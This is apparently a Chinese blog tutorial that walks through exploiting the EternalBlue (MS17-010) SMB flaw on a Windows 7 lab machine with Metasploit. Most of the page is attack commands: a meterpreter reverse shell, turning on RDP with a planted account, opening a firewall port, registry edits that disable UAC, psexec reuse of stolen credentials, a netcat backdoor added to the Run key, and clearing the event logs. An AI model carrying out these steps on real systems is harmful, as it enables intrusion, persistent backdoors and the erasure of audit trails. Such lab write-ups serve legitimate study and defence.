赞
踩
目录
2017 年 4 月 14 日晚,黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。
5 月 12 日,不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网呾政府机构与网中招,被勒索支付高额赎金才能解密恢复文件。
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;
SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
漏洞名称:“永恒之蓝”漏洞
漏洞编号:MS17-010,CVE-2017 0143/0144/0145/0146/0147/0148
漏洞类型:缓冲区溢出漏洞
漏洞影响:信息泄露
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。
这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。
这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0
攻击机与靶机可以相互ping通
简体中文Windows 7 Ultimate 旗舰版 SP1
靶机与攻击机可以相互ping通
防火墙已关闭,445端口已开放
控制面板\系统和安全\系统
控制面板→程序→卸载程序→已安装更新
把能卸载的全部卸载。
使用Nmap进行IP端口扫描
扫描到开放了445端口,而永恒之蓝利用的就是445端口的SMB服务,操作系统溢出漏洞
msfconsole
msf6 > search ms17-010 auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块,探测主机是否存在MS17_010漏洞 exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
msf6 > use auxiliary/scanner/smb/smb_ms17_010 该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
msf6 > show options 右边Required项为yes的选项,说明左边 Current Setting 这个项对应的需要填写 比如:RHOSTS设置攻击目标
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.109.130 设置目标主机 msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit 开始扫描 RHOSTS 参数是要探测主机的ip或ip范围(192.168.109.120-192.168.109.140 或者 192.168.1.0/24) 图中带[+]符号表示该主机192.168.109.130存在此漏洞(正是我们的靶机win7)
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > info 查看当前漏洞信息 msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets 显示该攻击模块针对哪些特定操作系统版本、语言版本的系统 有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的 如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.109.130 如果有多个攻击目标,ip间直接用空格隔开就行
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.109.132
msf6 exploit(windows/smb/ms17_010_eternalblue) > run 出现meterpreter > 即为成功
meterpreter > shell 进入终端 C:\Windows\system32>exit 退出终端 chcp 65001 解决乱码
run post/windows/manage/enable_rdp USERNAME=tubage PASSWORD=123.com 创建完成之后我们可以去远程连接桌面默认30秒目标无操作自动连接 root@kali# rdesktop 192.168.109.130 远程连接桌面
shell #进入终端 chcp 65001 #Cmd窗口中utf-8格式的编码 netsh firewall add portopening TCP 4444 "tubage" ENABLE ALL 防止防火墙以后是开启的,所以提前创建一条防火墙规则允许4444端口访问网络,方便后期操作
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。
其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
开启系统主机的默认共享,也叫隐藏共享,是用来远程管理的,一般的时候看不到的,但是非常方便黑客利用这个功能,远程执行命令。 输入多次exit 直到回到meterpreter ,输入backgroup 将刚刚永恒之蓝拿到的会话保持到后台。
psexec 是 windows 下非常好的一款远程命令行工具。
原理:
通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件。然后,通过psexec服务运行命令,运行结束后删除服务。
在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。
命令执行后,psexec服务将会被自动删除。
由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。
use exploit/windows/smb/psexec
show options
- set RHOSTS 192.168.109.130 #设置目标IP
- set smbuser tubage #设置目标用户名
- set smbpass 123.com #设置目标密码
- set smbdomain WORKGROUP #设置目标工作组(在计算机属性里面能看到所属工作组)
- msf6 exploit(windows/smb/psexec) > run
- meterpreter > getuid #查看获取的当前权限
为了让连接持久话,我们可以上传后门程序,这样就能保持会话长久建立。
在kali 中如下路径有我们的后门程序nc.exe 俗称瑞士军刀。
- upload /usr/share/windows-binaries/nc.exe C:\\windows
- #上传到目标主机C盘Windows目录下,如果要更隐秘一点的话,可以往更深处存放。
- reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'
- #当目标主机开机时,程序后台运行,且监听端口为443,这个端口可自行设置。
meterpreter > reboot
等等一段时间,等目标主机重启并登录之后,便会出现蓝色型号。
nc -v 192.168.109.130 443
meterpreter > clearev
因为我们的所有操作都会被记录在目标系统的日志文件之中所以在完成攻击操作之后,千万别忘了抹除事件日志。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。